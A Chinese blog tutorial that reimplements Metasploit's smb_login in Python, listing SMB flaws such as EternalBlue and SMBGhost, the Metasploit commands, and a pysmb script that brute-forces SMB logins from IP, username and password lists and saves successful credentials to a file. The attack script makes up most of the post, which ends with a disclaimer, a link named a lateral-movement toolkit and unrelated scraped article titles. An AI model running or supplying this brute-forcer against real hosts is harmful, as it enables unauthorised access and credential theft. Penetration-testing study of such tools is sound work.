Server Message Block (SMB) Intro

服务器消息块 (SMB) 协议是一种网络文件共享协议,它允许计算机上的应用程序读取和写入文件并从计算机网络中的服务器程序请求服务。客户端可以读取、创建和修改远程服务器上的文件。
本文目标是用python实现 metasploit 中的 smb_login功能:

  1. Single Credential Login Scanner 单凭证登录扫描
  2. Multiple Credentials Login Scanner 多凭证登录扫描
  3. Credentials Collection 生成凭证

SMB 主要漏洞

漏洞名称 CVE编号 发现日期
EternalBlue MS17-010 2017
SMBGhost CVE-2020-0796 2020. 3

扫描smb服务可以查出版本漏洞,以及弱口令漏洞。

Metasploit 中的 smb_login

在运行Metasploit 后运行下面代码,user.txt 和 pass.txt分别为用户设置的用户名字典密码字典 (也可以只设置单个用户名或密码),设置的扫描目标IP地址是RHOSTS。

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.10.16
set USER_FILE /root/users.txt
set PASS_FILE /root/pass.txt
run

smb_login 也可以扫描多个IP地址以及整个网段,只需要在RHIOSTS里设置:

set RHOSTS 192.168.10.10, 192.168.10.11
set RHOSTS 192.168.10.0/24

Python 实现 smb_login

python代码运用了SMBConnection库。实现了三个SMB扫描的基本功能:

  1. Single Credential Login Scanner 单凭证登录扫描
  2. Multiple Credentials Login Scanner 多凭证登录扫描
  3. Credentials Collection 生成凭证

注:此脚本仅供学习,任何非法使用与本人无关。

import os
from smb.SMBConnection import SMBConnection############################ Clear Consle While Start a Loop ##############################
def clear():os.system('cls') #on Windows System############################ Collect Single Credential From User Input ##############################
def CollectCredential():remote_ip = input('Enter Host IP:')username = input('Enter SMB Username:')password = input('Enter SMB Password:')domain = input('Enter Domain Name:')return(remote_ip,username,password,domain)############################ Verify the Input File Direction ##############################
# If the direction cannot be found, set the input as an atribute.
def VerifyFile(up):ver = []try:file = open(up, 'r')data = file.readlines()print('File Direction Verified.')for line in data:ver.append(line.strip())except:ver.append(up)return verreturn ver############################ Collect File Directions From User Input ##############################
#Support IP, username, password SMB brute force attack,
#user can input single attributes replace one to three attributes with files
def CollectFiles():remote_ip = input('Enter Host IP or File Direction:')remote_ip = VerifyFile(remote_ip)username = input('Enter SMB Username or File Direction:')username = VerifyFile(username)password = input('Enter SMB Password or File Direction:')password = VerifyFile(password)domain = input('Enter Domain Name:')return(remote_ip,username,password,domain)############################ Generate Collected Credentials in to Files ##############################
def GenerateCredentials():try:with open("Credential.txt",mode='w',encoding='utf-8') as ff:for i in range(len(credential)): ff.write(credential[i]+' ')if (i+1) % 4 == 0:ff.write('\n')except FileNotFoundError:with open("Credential.txt",mode='w',encoding='utf-8') as ff:for i in range(len(credential)): ff.write(credential[i]+' ')if (i+1) % 4 == 0:ff.write('\n')############################ SMB Functions Using SMBConnection ##############################
class SMB(object):def __init__(self,remote_ip,username,password,domain):self.remote_ip = remote_ipself.username = usernameself.password = passwordself.domain = domain############################ Use the Single Credential CollectCredential() to Login ##############################     def SingleLoginScanner(self):my_name = ""remote_name = ""try:self.conn = SMBConnection(self.username, self.password, my_name, remote_name, self.domain, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)connected = self.conn.connect(self.remote_ip,445)   if connected == True:print('Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))credential.append(self.remote_ip)credential.append(self.username)credential.append(self.password)credential.append(self.domain)print("Credential",credential)else:print('False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))self.conn.close()   except Exception as e:print(e)############################ Use the Multiple Credentials CollectFiles() to Login ##############################     def MultiLoginScanner(self):count = 0my_name = ""remote_name = ""for ip in self.remote_ip:for username in self.username:for password in self.password:count += 1try:self.conn = SMBConnection(username, password, self.domain, my_name, remote_name, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)connected = self.conn.connect(ip,445)      if connected == True:print('%d Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))credential.append(ip)credential.append(username)credential.append(password)credential.append(self.domain)print("Credential",credential)else:print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))   self.conn.close()except Exception as e:print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))print(e)############################ SMB Functions Support User to Chose ##############################
def main():while(1):print('********************SMB PYTHON TOOKIT********************')print('1. Single credential SMB Login Scanner')print('2. Credentials list from file SMB Brute Force')print('3. Generate Collected Credentials')print('4. Quit')print('*********************************************************\n')chose = input('Type number to pick function:')if chose == '1':print('Only support to input single ip address, username and password.\n')remote_ip,username,password,domain = CollectCredential()smb = SMB(remote_ip,username,password,domain) smb.SingleLoginScanner()elif chose == '2':print('Support Local File Directories contain ip/username/password or they will be recognized as a string.\n')remote_ip,username,password,domain = CollectFiles()smb = SMB(remote_ip,username,password,domain) smb.MultiLoginScanner()elif chose == '3':print('Generating Successful Credentials in a txt file...\n')GenerateCredentials()print('Generated Credential.txt in the same python Directory.\n')else:print('Please input valid number!\n')clear()if __name__ == '__main__':credential = []main()

Github 代码:https://github.com/redemptionwxy/SMB-Python-Lateral-Movement-Toolkit

Reference

https://github.com/rahulinux/PythonPractice-/blob/master/samba_client.py

https://github.com/n3if/scripts/blob/master/smb_enumerator/smb_enumerator.py

https://pysmb.readthedocs.io/en/latest/api/smb_SMBConnection.html

python实现SMB服务账号密码爆破功能 Metasploit 中的 smb_login相关推荐

  1. android中注册的账号密码储存在,Android中使用SharedPreferences完成记住账号密码的功能...

    效果图: 记住密码后,再次登录就会出现账号密码,否则没有. 分析: SharedPreferences可将数据存储到本地的配置文件中 SharedPreferences会记录CheckBox的状态,如 ...

  2. 利用SharedPreferences完成记住账号密码的功能

    利用SharedPreferences完成记住账号密码的功能 效果图: 记住密码后,再次登录就会出现账号密码,否则没有. 分析: SharedPreferences可将数据存储到本地的配置文件中 Sh ...

  3. Jsp使用Cookie完成记住账号密码的功能

    网站中对于记住账号密码,方便下次登录的使用非常普遍,那么它是怎么实现的呢? 首先他的流程是,设计一个复选框,当选中复选框时,就会传值到处理页面,复选框的用途就是判断用户是否愿意记住账号密码. 我们通过 ...

  4. python模拟登录qq账号密码_最新的Python模拟登陆QQ脚本,一键批量登录,强行过验证!...

    Python模拟QQ批量登陆脚本,以下代码附带解释以便于理解思路. Python代码: #coding=utf-8 import os import time import win32gui impo ...

  5. 开启火狐浏览器的账号密码导入功能

    最近重装了自己的电脑,在重装电脑之前导出了火狐浏览器记录的登录信息,想后面重装后导入进去,结果发现只有从别的浏览器导入的选项没有从文件导入的选项.后面经网上查找发现,从文件导入的这个功能是默认关闭了的 ...

  6. Python 简易登录系统账号密码检测

    # 简易登录系统账号密码检测""" 知识点:1.while 循环语句2.if/elif/else 条件语句 """# 定义变量 s = 3 ...

  7. 用python抢火车票_Python3实现抢火车票功能(中)

    导语 在"python抢火车票(上)"一文中我们完成了项目内容1和项目内容2,即利用python实现火车/高铁票查询功能以及利用python实现抢火车/高铁票功能,对项目内容1和项 ...

  8. 二维码的妙用:通过Zxing实现wifi账号密码分享功能

    二维码是搭载信息的一种载体,通过二维码可以传递名片.网址.商品信息等,本文讲到二维码的另外一种妙用:通过二维码实现wifi账号和密码分享. 关于二维码的基础知识,请访问:二维码的生成细节和原理 试想这 ...

  9. python编写排列组合,密码生产功能

    python编写排列组合 python在编写排列组合是会用到  itertools 模块 排列 import itertools mylist = list(itertools.permutation ...

最新文章

  1. 最新 30 道 Dubbo 面试题及答案
  2. 软件测试之Selenium IDE
  3. Shell Here Document 免交互命令和Expect
  4. GLSL/C++ 实现滤镜效果
  5. go 接口 构造器_Go 中接口值的复制
  6. 二分查找详解——弄懂二分思想的重要性!
  7. [网络流24题]孤岛营救问题
  8. 图像局部特征(二十)--Textons
  9. jdbc预编译插入数据操作
  10. 步步为营 .NET 代码重构学习笔记 十四
  11. mysql并行读写_mysql数据库大规模数据读写并行时导致的锁表问题
  12. SQL Server查询语句
  13. remove() 删除节点 | detach() 删除节点 | empty() 清空节点的内容 | clone() 复制节点
  14. 【高等数学】第一章 函数与极限——第六节 极限存在准则 两个重要极限
  15. 网络运维网管解决方案
  16. 实习--广东电信有限公司汕头市分公司讲座
  17. 计算机和网络之间有个感叹号,电脑连接网络显示感叹号,教你电脑连接网络显示感叹号怎么办...
  18. 程序员与颈椎病(一) 我得了什么病
  19. 打开word时提示需要安装包gaozhi.msi
  20. 怎样用计算机传输文件,两台电脑之间互相传文件的方法步骤

热门文章

  1. Logstash7.6.2解决cpu占用高问题
  2. Reversible data hiding
  3. Scratch 计算排列组合
  4. 招银网络科技 面试记
  5. C#程序的实现2个内存对象的合并生成一个新的内存对象
  6. “危”“机”并存的下沉市场,酒店行业如何进击?
  7. flexible.js的原理
  8. html弹性布局两盒,CSS中的弹性盒子总结
  9. 头歌动手画CPU第1关到第12关答案
  10. 经典算法面试题及答案